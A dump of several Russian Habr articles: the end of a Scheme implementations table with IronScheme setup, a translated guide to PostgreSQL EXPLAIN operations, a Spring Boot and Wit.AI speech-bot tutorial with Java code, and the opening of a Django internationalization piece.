| Microscheme | [github.com/ryansuchocki/microscheme](https://github.com/ryansuchocki/microscheme) | compiler | Hardware (Atmel) | yes | |
| MIT/GNU Scheme | [www.gnu.org/software/mit-scheme](http://www.gnu.org/software/mit-scheme/) | interpreter | many | yes | |
| Minor Scheme | [www.red-bean.com/trac/minor](http://www.red-bean.com/trac/minor/) | compiler | C | no | |
| MScheme | [mscheme.sourceforge.net](http://mscheme.sourceforge.net) | interpreter | Java | no | |
| mosh-scheme | [code.google.com/p/mosh-scheme](http://code.google.com/p/mosh-scheme/) | interpreter | many | no | |
| NexJ Scheme | [nexj-scheme.org](http://nexj-scheme.org/) | interpreter | Java | no | |
| Oaklisp | [oaklisp.alioth.debian.org](http://oaklisp.alioth.debian.org/) | interpreter | POSIX | no | |
| Ocs | [github.com/felix-lang/ocs](https://github.com/felix-lang/ocs) | interpreter | Ocaml | no | |
| Owl Lisp | [code.google.com/p/owl-lisp](https://code.google.com/p/owl-lisp/) | interpreter | POSIX | no | yes |
| Picrin | [github.com/picrin-scheme/picrin](https://github.com/picrin-scheme/picrin) | interpreter | C99 | yes | yes |
| Pixie Scheme III | [JayReynoldsFreeman.com/My/Pixie\_Scheme\_III.html](http://JayReynoldsFreeman.com/My/Pixie_Scheme_III.html) | interpreter+compiler | iPad | yes | no |
| Pocket Scheme | [www.mazama.net/scheme/pscheme.htm](http://www.mazama.net/scheme/pscheme.htm) | interpreter | Windows CE | no | |
| PS3I | [pagesperso-systeme.lip6.fr/Christian.Queinnec/VideoC/ps3i.html](http://pagesperso-systeme.lip6.fr/Christian.Queinnec/VideoC/ps3i.html) | interpreter | Java | no | |
| Psyche | [www.xs4all.nl/~yduppen/site/psyche.html](http://www.xs4all.nl/~yduppen/site/psyche.html) | interpreter | Python | no | |
| QScheme | [www.sof.ch/dan/qscheme/index-e.html](http://www.sof.ch/dan/qscheme/index-e.html) | interpreter | POSIX | no | |
| Racket | [www.racket-lang.org](http://www.racket-lang.org/) | interpreter+compiler | many | yes | |
| Rhizome/pi | [www.kt.rim.or.jp/~qfwfq/rhiz-pi/index-e.html](http://www.kt.rim.or.jp/~qfwfq/rhiz-pi/index-e.html) | ? | ? | | |
| RScheme | [github.com/bitwize/rscheme](https://github.com/bitwize/rscheme) | ? | ? | | |
| Sagittarius | [code.google.com/p/sagittarius-scheme](https://code.google.com/p/sagittarius-scheme) | interpreter | many | yes | yes |
| Scheme 9 from Empty Space | [t3x.org/s9fes](http://t3x.org/s9fes/) | interpreter | C89/POSIX, Plan 9 | yes | |
| Scheme48 | [s48.org](http://s48.org/) | ? | ? | | |
| Scheme-to-C | [scheme2c.alioth.debian.org](http://scheme2c.alioth.debian.org) | ? | ? | | |
| Schemik | [schemik.sourceforge.net](http://schemik.sourceforge.net/) | ? | ? | | |
| Schemix | [www.abstractnonsense.com/schemix](http://www.abstractnonsense.com/schemix/) | ? | ? | | |
| SCM | [swissnet.ai.mit.edu/~jaffer/SCM.html](http://swissnet.ai.mit.edu/~jaffer/SCM.html) | ? | ? | | |
| Shoe | [nocrew.org/software-shoe.html](http://nocrew.org/software-shoe.html) | ? | ? | | |
| SISC | [sisc.sourceforge.net](http://sisc.sourceforge.net/) | ? | ? | | |
| SIOD | [people.delphiforums.com/gjc/siod.html](http://people.delphiforums.com/gjc/siod.html) | ? | ? | | |
| SigScheme | [code.google.com/p/sigscheme](http://code.google.com/p/sigscheme/) | ? | ? | | |
| Sizzle | [www.grabmueller.de/martin/www/sizzle/sizzle.en.html](http://www.grabmueller.de/martin/www/sizzle/sizzle.en.html) | ? | ? | | |
| Stalin | [www.ece.purdue.edu/~qobi/software.html](http://www.ece.purdue.edu/~qobi/software.html) | ? | ? | | |
| STKlos | [stklos.sourceforge.net](http://stklos.sourceforge.net/) | ? | ? | | |
| SXM | [www.malgil.com/sxm](http://www.malgil.com/sxm/) | ? | ? | | |
| s7 | [ccrma.stanford.edu/software/snd/snd/s7.html](https://ccrma.stanford.edu/software/snd/snd/s7.html) | interpreter | C | yes | |
| TinyScheme | [tinyscheme.sourceforge.net](http://tinyscheme.sourceforge.net/) | ? | ? | | |
| UCB Scheme | [www-inst.eecs.berkeley.edu/~scheme](http://www-inst.eecs.berkeley.edu/~scheme/) | ? | ? | | |
| ULisp | [www.zogotounga.net/comp/squeak/lispkit.htm](http://www.zogotounga.net/comp/squeak/lispkit.htm) | ? | ? | | |
| UMB Scheme | [www.cs.umb.edu/~wrc/scheme](http://www.cs.umb.edu/~wrc/scheme/) | ? | ? | | |
| Unlikely Scheme | [marijnhaverbeke.nl/unlikely](http://marijnhaverbeke.nl/unlikely/) | ? | ? | | |
| Vicare | [marcomaggi.github.com/vicare.html](http://marcomaggi.github.com/vicare.html) | compiler | POSIX/x86 | yes | |
| VSCM | [sourceforge.net/projects/vscm](https://sourceforge.net/projects/vscm/) | ? | ? | | |
| Vx-Scheme | [colin-smith.net/vx-scheme](http://colin-smith.net/vx-scheme/) | ? | ? | | |
| Wraith Scheme | [JayReynoldsFreeman.com/My/Software.html](http://JayReynoldsFreeman.com/My/Software.html) | interpreter+compiler | Macintosh | Yes | No |
| XLISP | [www.mv.com/ipusers/xlisper](http://www.mv.com/ipusers/xlisper/) | ? | ? | | |
| Ypsilon Scheme | [code.google.com/p/ypsilon](http://code.google.com/p/ypsilon/) | interpreter | many | no | |
А если хорошенько поискать на [GitHub](https://github.com/), то становится ясно что вариантов еще больше.
Следование стандарту в различных реализациях позволяет повторно использовать код на разных платформах, в том числе и для Web программирования. Но не нужно забывать, что функционал не входящий в стандарт с высокой вероятностью будет отличаться, что приведет к непортируемости кода.
В металле
---------
Чаще в своей практике я сталкиваюсь с программированием для .NET. Следовательно, для меня наиболее полезно решение позволяющее использовать .NET библиотеки и встраивать интерпретатор Scheme в свои приложения. Поиграв с разными вариантами, я остановился на [IronScheme](http://ironscheme.codeplex.com/). Так, как он, на первый взгляд показался наиболее продвинутой реализацией стандарта R6Rs для .NET. Но есть и другие, о которых будет написано в следующих статьях.
IronScheme реализует шестую версию стандарта R6Rs. Естественно, имеет встроенный функционал для взаимодействия со средой исполнения clr. Таким образом, прямо из скрипта Scheme можем создавать и манипулировать .NET классами. А этого уже вполне достаточно чтобы создать полноценное приложение с GUI, DB и прочими вкусностями, которые доступны из .NET. Но мы не обязаны писать на IronScheme полноценные программы. Тем более что в поставляемых библиотеках имеются обертки для небольшого числа стандартных .NET классов. Хотя ни кто не мешает нам помочь сообществу.
Настройка среды
---------------
1. Чтобы начать использовать IronScheme качаем архив с [ironscheme.codeplex.com/;](http://ironscheme.codeplex.com/;)
2. распаковываем например в “Program Files (x86)”;
3. добавляем в переменную среды PATH «C:\Program Files (x86)\IronScheme\» ;
4. для удобства в директории с IronScheme я создаю фай «is.bat» с содержимым «IronScheme.Console-v4.exe %1»;
5. Выполнив команду IronScheme.Console-v4.exe запустим интерпретатор в REPL режиме.
Теперь можно вводить команды, например «(+ 2 2)». Интерпретатор в REPL режиме поддерживает автодополнение по нажатию на TAB, что удобно использовать в качестве справочника команд или для проверки фрагментов кода. Для выхода из интерпретатора нужно набрать «(exit)».
Здравствуй мир!
---------------
По сложившейся традиции напишем и запустим Hello world приложение. В любом привычном текстовом редакторе, желательно поддерживающим Scheme, например [Sublime](http://www.sublimetext.com/), создадим файл и сохраним его hello-world.ss.
Содержимое файла hello-world.ss:
```
(import
(rnrs)
(ironscheme)
)
(displayln "Hello, world!")
```
Запускаем командой «IronScheme.Console-v4.exe hello-world.ss» в результате получим долгожданную надпись. | https://habr.com/ru/post/267015/ | null | ru | null |
# Объясняя необъяснимое. Часть 4
*Конференция PG Day’16 с каждым днем всё ближе, а мы продолжаем публиковать серию статей [Hubert Lubaczewski](http://www.depesz.com/) об анализе explain и его основных операциях.*
В этом, надеюсь, [предпоследнем](https://habrahabr.ru/post/275851/) [посте](https://habrahabr.ru/post/276973/) [серии](https://habrahabr.ru/post/279255/) я расскажу об оставшихся наиболее распространенных операциях, которые вы можете встретить в выводе explain.
#### Unique
Название операции говорит само за себя – она удаляет дублирующие данные.
Такое может случиться, например, когда вы делаете следующее:
```
select distinct field from table
```
В более свежих версиях Постгреса этот запрос будет осуществлен с помощью HashAggregate.
Проблема Unique заключается в том, что данные для неё должны быть отсортированы. Не потому, что этой операции нужны данные в определенном порядке, а для того, чтобы все строки с одинаковыми значениями были «вместе».
Это делает Unique реально классной операцией (в тех случаях, когда её можно использовать), так как она практически не требует памяти. Она просто сравнивает значение в предыдущей строке с текущим и, если они одинаковые, отбрасывает его. Вот и всё.
Таким образом, мы можем стимулировать её использование, предварительно отсортировав данные:
```
$ explain select distinct relkind from (select relkind from pg_class order by relkind) as x;
QUERY PLAN
-----------------------------------------------------------------------
Unique (cost=22.88..27.26 rows=4 width=1)
-> Sort (cost=22.88..23.61 rows=292 width=1)
Sort Key: pg_class.relkind
-> Seq Scan on pg_class (cost=0.00..10.92 rows=292 width=1)
(4 rows)
```
#### Append
Этот план просто запускает множество субопераций и возвращает все возвращенные ими строки в виде общего результата.
Это используется запросами UNION/UNION ALL:
```
$ explain select oid from pg_class union all select oid from pg_proc union all select oid from pg_database;
QUERY PLAN
-----------------------------------------------------------------
Append (cost=0.00..104.43 rows=2943 width=4)
-> Seq Scan on pg_class (cost=0.00..10.92 rows=292 width=4)
-> Seq Scan on pg_proc (cost=0.00..92.49 rows=2649 width=4)
-> Seq Scan on pg_database (cost=0.00..1.02 rows=2 width=4)
(4 rows)
```
Здесь вы видите, как append запустил три сканирования по трем таблицам и вернул все строки вместе.
Обратите внимание, что я использовал UNION ALL. Если бы я использовал UNION, мы бы получили следующее:
```
$ explain select oid from pg_class union select oid from pg_proc union select oid from pg_database;
QUERY PLAN
-----------------------------------------------------------------------
HashAggregate (cost=141.22..170.65 rows=2943 width=4)
-> Append (cost=0.00..133.86 rows=2943 width=4)
-> Seq Scan on pg_class (cost=0.00..10.92 rows=292 width=4)
-> Seq Scan on pg_proc (cost=0.00..92.49 rows=2649 width=4)
-> Seq Scan on pg_database (cost=0.00..1.02 rows=2 width=4)
(5 rows)
```
Так происходит, потому что UNION удаляет дублируюшие строки, что в данном случае было произведено операцией HashAggregate.
#### Result
Result появляется, в основном, в очень простых тестовых запросах. Эта операция используется, когда ваш запрос выбирает какое-либо постоянное значение (или значения):
```
$ explain select 1, 2;
QUERY PLAN
------------------------------------------
Result (cost=0.00..0.01 rows=1 width=0)
(1 row)
```
Помимо тестовых запросов её можно встретить в запросах, которые делают что-то вроде «вставить, но только если это не будет дублированием данных»:
```
$ explain insert into t (i) select 1 where not exists (select * from t where i = 1);
QUERY PLAN
---------------------------------------------------------------------
Insert on t (cost=3.33..3.35 rows=1 width=4)
-> Result (cost=3.33..3.34 rows=1 width=0)
One-Time Filter: (NOT $0)
InitPlan 1 (returns $0)
-> Seq Scan on t t_1 (cost=0.00..40.00 rows=12 width=0)
Filter: (i = 1)
(6 rows)
```
#### Values Scan
Так же, как Result, Values Scan используется для возвращения простых введенных в запросе данных, но в данном случае это может быть целый набор записей, основанный на функциональности VALUES().
Если вдруг вы не в курсе, вы можете выбрать множество строк и множество столбцов без какой-либо таблицы, просто используя синтаксис VALUES, как в этом примере:
```
$ select * from ( values (1, 'hubert'), (2, 'depesz'), (3, 'lubaczewski') ) as t (a,b);
a | b
---+-------------
1 | hubert
2 | depesz
3 | lubaczewski
(3 rows)
```
План такого запроса выглядит следующим образом:
```
QUERY PLAN
--------------------------------------------------------------
Values Scan on "*VALUES*" (cost=0.00..0.04 rows=3 width=36)
(1 row)
```
Эта операция обычно используется в INSERT’ах, но у неё есть и другие способы применения, например, [кастомная сортировка](http://www.depesz.com/2010/07/25/how-to-order-by-some-random-query-defined-values/).
#### GroupAggregate
Эта операция схожа с HashAggregate, о которой мы [говорили ранее](https://habrahabr.ru/post/279255/).
Разница в том, что для работы GroupAggregate данные должны быть отсортированы с помощью того столбца или столбцов, которые вы использовали в условии GROUP BY.
Как и Unique, GroupAggregate использует очень мало памяти, но требует упорядоченности данных.
Пример:
```
$ explain select relkind, count(*) from (select relkind from pg_class order by relkind) x group by relkind;
QUERY PLAN
-----------------------------------------------------------------------
GroupAggregate (cost=22.88..28.03 rows=4 width=1)
-> Sort (cost=22.88..23.61 rows=292 width=1)
Sort Key: pg_class.relkind
-> Seq Scan on pg_class (cost=0.00..10.92 rows=292 width=1)
(4 rows)
```
#### HashSetOp
Эта операция используется операциями INTERSECT/EXCEPT (с опциональным модификатором «ALL»).
Она работает следующим образом: запускает субоперации Append для пары подзапросов, а затем, на основании результата и опционального модификатора ALL, решает, какие строки нужно вернуть. Я не залезал глубоко в исходный код, поэтому не могу сказать, как именно это работает, но, исходя их названия, операция похожа на простое решение на базе счетчика.
Мы видим, что, в отличие от UNION, эти операции работают с двумя источниками данных:
```
$ explain select * from (select oid from pg_Class order by oid) x intersect all select * from (select oid from pg_proc order by oid) y;
QUERY PLAN
-------------------------------------------------------------------------------------------------------------
HashSetOp Intersect All (cost=0.15..170.72 rows=292 width=4)
-> Append (cost=0.15..163.36 rows=2941 width=4)
-> Subquery Scan on "*SELECT* 1" (cost=0.15..18.37 rows=292 width=4)
-> Index Only Scan using pg_class_oid_index on pg_class (cost=0.15..12.53 rows=292 width=4)
-> Subquery Scan on "*SELECT* 2" (cost=0.28..145.00 rows=2649 width=4)
-> Index Only Scan using pg_proc_oid_index on pg_proc (cost=0.28..92.02 rows=2649 width=4)
(6 rows)
```
А с тремя источниками у нас получится более сложное дерево:
```
$ explain select * from (select oid from pg_Class order by oid) x intersect all select * from (select oid from pg_proc order by oid) y intersect all select * from (Select oid from pg_database order by oid) as w;
QUERY PLAN
-------------------------------------------------------------------------------------------------------------------------------
HashSetOp Intersect All (cost=1.03..172.53 rows=2 width=4)
-> Append (cost=1.03..171.79 rows=294 width=4)
-> Subquery Scan on "*SELECT* 3" (cost=1.03..1.07 rows=2 width=4)
-> Sort (cost=1.03..1.03 rows=2 width=4)
Sort Key: pg_database.oid
-> Seq Scan on pg_database (cost=0.00..1.02 rows=2 width=4)
-> Result (cost=0.15..170.72 rows=292 width=4)
-> HashSetOp Intersect All (cost=0.15..170.72 rows=292 width=4)
-> Append (cost=0.15..163.36 rows=2941 width=4)
-> Subquery Scan on "*SELECT* 1" (cost=0.15..18.37 rows=292 width=4)
-> Index Only Scan using pg_class_oid_index on pg_class (cost=0.15..12.53 rows=292 width=4)
-> Subquery Scan on "*SELECT* 2" (cost=0.28..145.00 rows=2649 width=4)
-> Index Only Scan using pg_proc_oid_index on pg_proc (cost=0.28..92.02 rows=2649 width=4)
(13 rows)
```
#### CTE Scan
Эта операция схожа с [уже упомянутой](https://habrahabr.ru/post/279255/) операцией Materialize. Она запускает часть запроса и сохраняет ее вывод, чтобы он мог быть использован другой частью (или частями) запроса.
Пример:
```
$ explain analyze with x as (select relname, relkind from pg_class) select relkind, count(*), (select count(*) from x) from x group by relkind;
QUERY PLAN
-----------------------------------------------------------------------------------------------------------------
HashAggregate (cost=24.80..26.80 rows=200 width=1) (actual time=0.466..0.468 rows=6 loops=1)
CTE x
-> Seq Scan on pg_class (cost=0.00..10.92 rows=292 width=65) (actual time=0.009..0.127 rows=295 loops=1)
InitPlan 2 (returns $1)
-> Aggregate (cost=6.57..6.58 rows=1 width=0) (actual time=0.085..0.085 rows=1 loops=1)
-> CTE Scan on x x_1 (cost=0.00..5.84 rows=292 width=0) (actual time=0.000..0.055 rows=295 loops=1)
-> CTE Scan on x (cost=0.00..5.84 rows=292 width=1) (actual time=0.012..0.277 rows=295 loops=1)
Total runtime: 0.524 ms
(8 rows)
```
Обратите внимание, что pg\_class сканируется всего один раз – строка #6. Но его результаты хранятся в “x" и потом сканируются дважды – внутри агрегата (строка #9) и операцией HashAggregate (10).
В чем же отличие от Materialize? Чтобы дать развернутый ответ на этот вопрос, нужно погрузиться в исходный код, но я бы сказал, что различие основывается на том простом факте, что CTE определяются пользователем, в то время как Materialize – это вспомогательная операция, которую Постгрес решает использовать, когда посчитает нужным.
Важное замечание: CTE всегда запускаются именно так, как указано. Поэтому их можно использовать для того, чтобы обойти не самые удачные оптимизации, которые может осуществить планировщик.
#### InitPlan
Этот план происходит каждый раз, когда есть часть запроса, которая может (или должна) быть рассчитана перед всем остальным и не зависит ни от чего в оставшейся части вашего запроса.
Допустим, вы хотите вот такой запрос:
```
$ explain select * from pg_class where relkind = (select relkind from pg_class order by random() limit 1);
QUERY PLAN
------------------------------------------------------------------------------------------
Seq Scan on pg_class (cost=13.11..24.76 rows=73 width=203)
Filter: (relkind = $0)
InitPlan 1 (returns $0)
-> Limit (cost=13.11..13.11 rows=1 width=1)
-> Sort (cost=13.11..13.84 rows=292 width=1)
Sort Key: (random())
-> Seq Scan on pg_class pg_class_1 (cost=0.00..11.65 rows=292 width=1)
(7 rows)
```
В этом случае необходимо запустить limit/sort/seq-scan до обычного последовательного сканирования по pg\_class, потому что Постгресу нужно будет сравнить значение relkind со значением, возвращенным подзапросом.
С другой стороны, я мог бы написать:
```
$ explain select *, (select length('depesz')) from pg_class;
QUERY PLAN
-------------------------------------------------------------
Seq Scan on pg_class (cost=0.01..10.93 rows=292 width=203)
InitPlan 1 (returns $0)
-> Result (cost=0.00..0.01 rows=1 width=0)
(3 rows)
```
Постгрес правильно видит, что столбец subselect не зависит ни от каких данных из таблицы pg\_class, поэтому его можно прогнать один раз и не нужно пересчитывать длину для каждой строки.
Конечно, у вас может быть много единичных планов (init plans), как здесь:
```
$ explain select *, (select length('depesz')) from pg_class where relkind = (select relkind from pg_class order by random() limit 1);
QUERY PLAN
------------------------------------------------------------------------------------------
Seq Scan on pg_class (cost=13.12..24.77 rows=73 width=203)
Filter: (relkind = $1)
InitPlan 1 (returns $0)
-> Result (cost=0.00..0.01 rows=1 width=0)
InitPlan 2 (returns $1)
-> Limit (cost=13.11..13.11 rows=1 width=1)
-> Sort (cost=13.11..13.84 rows=292 width=1)
Sort Key: (random())
-> Seq Scan on pg_class pg_class_1 (cost=0.00..11.65 rows=292 width=1)
(9 rows)
```
Но стоит учитывать одну деталь – init plan’ы внутри одного запроса нумеруются «глобально», а не по операциям.
#### SubPlan
SubPlan’ы чем-то похожи на NestedLoop. В том смысле, что они тоже могут вызываться много раз.
SubPlan вызывается, чтобы посчитать данные из субзапроса, которые реально зависят от текущей строки.
Например:
```
$ explain analyze select c.relname, c.relkind, (Select count(*) from pg_Class x where c.relkind = x.relkind) from pg_Class c;
QUERY PLAN
-----------------------------------------------------------------------------------------------------------------------
Seq Scan on pg_class c (cost=0.00..3468.93 rows=292 width=65) (actual time=0.135..26.717 rows=295 loops=1)
SubPlan 1
-> Aggregate (cost=11.83..11.84 rows=1 width=0) (actual time=0.090..0.090 rows=1 loops=295)
-> Seq Scan on pg_class x (cost=0.00..11.65 rows=73 width=0) (actual time=0.010..0.081 rows=93 loops=295)
Filter: (c.relkind = relkind)
Rows Removed by Filter: 202
Total runtime: 26.783 ms
(7 rows)
```
Для каждой строки, возвращенной сканированием по «pg\_class as c», Постгрес должен запустить SubPlan, который проверяет, сколько строк в pg\_class имеют такое же (как у только что обработанной строки) значение в столбце relkind.
Обратите внимание на «loops=295» в строке «Seq Scan on pg\_class x» и соответствующее ему значение «rows=295» в узле «Seq Scan on pg\_class c».
#### Другие?
Да, есть и другие операции. Некоторые из них слишком редко встречаются, чтобы удостоиться нашего внимания (особенно если учесть, что у вас есть прекрасный источник знаний – исходники), а некоторые являются (как я подозреваю) старыми версиями новых узлов.
Если у вас есть план с операцией, о которой я не рассказал, и вам он непонятен, напишите мне, пожалуйста, в комментариях ссылку на вывод explain на [explain.depesz.com](http://explain.depesz.com), название операции и версию Посгреса, в которой она вам встретилась. Я постараюсь найти всю возможную информацию по таким кейсам и дать вам развернутый ответ. | https://habr.com/ru/post/281036/ | null | ru | null |
# Свой Bot за несколько часов, или поговорим о пиве с машиной
Тема по улучшению взаимодействия машин и человека сейчас актуальна как никогда. Появились технические возможности для перехода от модели «100 кликов» к парадигме «скажи, что ты хочешь». Да, я имею в виду различные боты, которые уже несколько лет разрабатывают все кому не лень. К примеру, многие крупные компании, не только технологические, но и retail, logistics, банки в данный момент ведут активный Research&Design в этой области.
Простой пример, как, например, происходит процесс выбора товаров в каком-либо интернет магазине? Куча списков, категорий, в которых я роюсь и что-то выбираю. It suck's. Или, допустим, заходя в интернет банк, я сталкиваюсь с различными меню, если я хочу сделать перевод, то я должен выбрать соответствующие пункты в меню и ввести кучу данных, если же я хочу посмотреть список транзакций, то опять таки, я должен напрягать как мозг, так и указательный палец. Гораздо проще и удобнее было бы зайти на страницу, и просто сказать: «Я хочу купить литр молока и пол-литра водки», или просто спросить у банка: «Что с деньгами?».
В список профессий, которым грозит вымирание в достаточно близкой перспективе, добавляются: теллеры, операторы call центров, и многие другие. И на простом примере, реализовать который у меня заняло часов 7, я покажу, как можно достаточно просто сделать интеграцию распознавания речи, и выявления сущностей, на примере открытого Wit.Ai (Google Speech API интеграция также включена).
Существует достаточно много API по распознаванию речи, некоторые из них платные, некоторые открыты для разработки своих систем. Например, Google Speech API предлагает бесплатно 60 минут распознавания в месяц, при превышение этого лимита, плата взымается из расчета за 0,006 центов за минуту, с шагом в 15 секунд. Напротив, Wit.ai позиционирует себя, как открытый API для разработчиков, но будет ли с их стороны тот же уровень сервиса, если к примеру количество обращений к сервису вырастет до сотен тысяч, а то и миллионов в месяц, остается вопросом.
Пару недель назад, у нас в Тарту проводились семинары по Data Science и Искусственному Интеллекту, и многие выступающие обращались, так или иначе, к теме взаимодействия человека и машины, на понятном для человека языке. И на следующих, после мероприятий, выходных, я решил реализовать распознавание речи с помощью общедоступных сервисов. Ну и конечно, я бы хотел, чтобы бот понимал, что я хочу выпить пива, и какого пива именно. Темного или светлого, а также возможно и разбирался бы в сортах.
В общем, задача сводится к тому, чтобы записать на стороне клиента то, что он сказал, переслать на сервер, сделать некие преобразования, сделать вызов стороннему API, и получить результат.
Поначалу, я спланировал обратиться к Google Speech API, чтобы получить транскрипцию аудио файла, и затем строку текста я хотел послать на Wit.AI, чтобы получить набор сущностей и намерений.
Выбор для backend для меня был тривиальным, это Spring Boot. И не только потому, что Java stack для меня родной, но и потому, что я хотел создать небольшой сервис, который будет служить посредником между сторонними API и клиентом. Дополнительную функциональность можно реализовать введением дополнительного сервиса.
Исходный код я выложил на [GitHub](https://github.com/alextavgen/SpeechBotExample/tree/master/speechbotpoc). Рабочее же приложение, я развернул на Heroku — <https://speechbotpoc.herokuapp.com/>. Перед использованием, разрешите использование микрофона. Далее, нажмите иконку микрофона и скажите что-либо, после чего, еще раз нажмите иконку. Сказанное вами ~~будет использовано против вас~~ будет отправлено на распознавание, и через некоторое время, вы получите результат в панели слева. Я отключил выбор языка перевода, поскольку этот пример могут использовать несколько человек, то во избежании race condition, выбор языка распознавания отключен.
Итак, для начала, мы создаем пустой проект с помощью Spring Initializr или Spring Boot CLI, кому как нравится, я выбрал Spring Initializr. Необходимые зависимости — Spring MVC, Lombok(если вы не хотите писать много шаблонного кода), Log4j. Импортируем созданный каркас проекта в предпочитаемую IDE (кто-то еще использует Eclipse?).
Для начала, нам необходимо сделать запись аудио файла на стороне клиента. HTML5 предоставляет все возможности для этого, (MediaRecorder интерфейс), но существует отличная реализация от Matt Diamond, которая распространяется по MIT лицензии, и я решил взять её, поскольку Мэтт разработал, также, неплохую визуализацию на стороне клиента. Больше всего времени, по сути, заняла не разработка серверной части, а реализация на стороне клиента. Я не стал использовать AngularJS или ReactJS, поскольку, мне была интересна именно общая интеграция, и мой выбор остановился на jQuery, дешево и сердито.
Что касается серверной части, то поначалу я хотел использовать Google Speech API для первоначальной транскрипции аудио файла в текст, а поскольку данный API требует перекодировки записанной речи в Base64, то на стороне клиента, получив аудио данные, я производил перекодировку в Base64, и далее отправлял на сервер.
В нашем каркасе создаем контроллер, который будет принимать наш аудио файл.
```
@RestController
public class ReceiveAudioController {
@Autowired
@Setter
private WitAiService service;
private static final Logger logger = LogManager.getLogger(ReceiveAudioController.class);
@RequestMapping(value = "/save", method = RequestMethod.POST)
public @ResponseBody String saveAudio(@RequestBody Audio data, HttpServletRequest request) throws IOException {
logger.info("Request from:" + request.getRemoteAddr());
return service.processAudio(data);
}
}
```
Все достаточно просто, мы принимаем данные и передаем их сервису, который производит всю дальнейшую работу.
Сервис WitAiService также достаточно простой.
```
@Data
@Component
@ConfigurationProperties(prefix="witai")
public class WitAiService {
private static final Logger logger = LogManager.getLogger(WitAiService.class);
private String url;
private String key;
private String version;
private String command;
private String charset;
public String processAudio(Audio audio) throws IOException {
URLConnection connection = getUrlConnection();
OutputStream outputStream = connection.getOutputStream();
byte[] decoded;
decoded = Base64.getDecoder().decode(audio.getContent());
outputStream.write(decoded);
BufferedReader response = new BufferedReader(new InputStreamReader(connection.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while((line = response.readLine()) != null) {
sb.append(line);
}
logger.info("Received from Wit.ai: " + sb.toString());
return sb.toString();
}
private URLConnection getUrlConnection() {
String query = null;
try {
query = String.format("v=%s", URLEncoder.encode(version, charset));
logger.info("Query string for wit.ai: " + query);
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
URLConnection connection = null;
try {
connection = new URL(url + "?" + query).openConnection();
} catch (IOException e) {
e.printStackTrace();
}
connection.setRequestProperty ("Authorization","Bearer " + key);
connection.setRequestProperty("Content-Type", "audio/wav");
connection.setDoOutput(true);
return connection;
}
}
```
Все необходимые параметры, такие как ключ и токен для Wit.AI берутся из файла application.properties. (да, я открыл токены для своего приложения). Если вы хотите зарегистрировать свое приложение на Wit.AI, то вам необходимо будет поменять токены и App.ID в файлах настроек. Регистрация на Wit.AI достаточно простая, токен можно получить в разделе Settings.
Spring Boot подтягивает настройки с помощью аннотаций. Аннотации [Data](https://habrahabr.ru/users/data/) и [Setter](https://habrahabr.ru/users/setter/) это аннотации проекта [Lombok](https://projectlombok.org/), которые помогают избегать написания шаблонного кода, в виде сеттеров, геттеров, конструкторов по умолчанию и т.п.
Файлы модели, и вспомогательный конвертер я не привожу сюда, все это можно посмотреть в исходниках.
Если вы откроете Developer Console в Chrome, то увидите, что после того, как вы записали сказанное, происходит REST вызов сервиса, где аудио данные, закодированные в Base64, передаются на сервер в поле content. У меня были некоторые проблемы с Google биллингом (биллинг зарегистрирован на старую кредитку, которая закрыта, а новую еще не оформил), и после того, как я написал взаимодействие с Google Speech API, я решил отправлять на распознавание напрямую на Wit.AI. Но Wit.AI принимает данные в потоковом виде как есть, и поэтому на сервере происходит перекодировка из Base64 обратно в wav формат.
```
byte[] decoded;
decoded = Base64.getDecoder().decode(audio.getContent());
outputStream.write(decoded);
```
Небольшие моменты касаемо распознавания. Обратите внимание на уровень микрофона, поскольку, если он очень чувствителен, вы получите срезанный звук, который негативно отразится на качестве распознавания.
Теперь, когда мы получили распознавание сказанного нами, давайте научим понимать приложение, что мы конкретно хотим. В разделе **Understanding** Wit.AI (Для этого вам надо зарегистрировать на Wit.AI свое приложение, то есть, пройти регистрацию, это несложно.) мы можем задавать так называемые intent, или намерения. Выглядит это довольно логично, мы пишем строку, например, «Пойдем пить пиво» и выделяем нужное нам слово, в данном случае «Пиво», и нажимаем на **Add a new entity**(Добавить новую сущность), далее мы выбираем **intent**, и создаем намерение «Пиво». Идем далее, мы хотим понимать хотим ли мы пить пиво, и тогда мы создаем новую сущность «Пить» или «Пьем». Далее, рекомендуется ввести еще несколько примеров, наподобие: «Может по пиву сегодня», «Попьем пиво завтра» и т.д. Тогда система будет все точнее и точнее выделять **intent** — Пиво.
Теперь, допустим, мы хотим понимать, какое пиво мы хотим пить, светлое или темное. Точно так же вводим новую фразу, «Попьем завтра темного пива», и на слове «темного» нам над опять нажать **Add a new entity**, но далее, нам надо не использовать уже имеющееся, а создать свою сущность, у меня в приложении она так и названа **beer\_type**. Далее повторяем для светлого пива, только выбираем уже созданную сущность **beer\_type**. В итоге, система начинает понимать, что я хочу попить пива, и какого пива конкретно. Все вышеперечисленное также возможно задавать не вручную, а автоматически, используя REST интерфейс Wit.AI. Категории легко перевести в сущности в batch режиме.
Попробуйте в примере предложить попить темного или светлого пива, вы увидите, что система возвращает объект, в котором есть, как намерение пиво, так и beer\_type — темное или светлое.
Этот пример немного игрушечен, НО… Добавление сущностей можно производить и через REST интерфейс, таким образом, перевести каталог товаров в сущности бота можно довольно легко, также в Wit.AI существуют многие сущности контекста, такие как время/дата, место и так далее. То есть, можно получать информацию из таких контекстных слов, как сегодня-завтра(дата), тут(место) и т.д. Подробная документация находится [тут](https://wit.ai/docs).
Сам по себе код достаточно простой, и все понятно исходя из него самого. Логика интеграции с другими сервисами такая же. После получения транскрипции, можно передавать данную строку другим сервисам, например написать сервис, который будет добавлять в корзину желаемые товары, или просто передавать строку на перевод нейросервису (<http://xn--neurotlge-v7a.ee/#> пока с эстонского на английский и обратно, но можно натренировать модель и на другие языки). То есть, данный пример может служить небольшим кирпичиком, для построения более сложного потока взаимодействий. Например, я могу, допустим, заказывать пиво на дом, соединив данный пример, с сервисом заказа пищи, получив их токен или cookie. Или напротив посылать друзьям предложения о пиве по мессенджеру. Вариантов использования огромное количество.
Возможные пути использования: интернет-магазины, интернет-банки, системы перевода и т.д.
Если есть вопросы, то можете обращаться. | https://habr.com/ru/post/328612/ | null | ru | null |
# Интернационализация локального проекта django
Хорошо, когда при разработке проекта под django, разработчики проекта изначально озаботились его интернационализацией.
Минимальными усилиями, проект адаптируется под различные языки. Django имеет богатый набор инструментов, достаточный для почти автоматического добавления новых языков, исправления и добавления переводов отдельных участков текста и так далее.
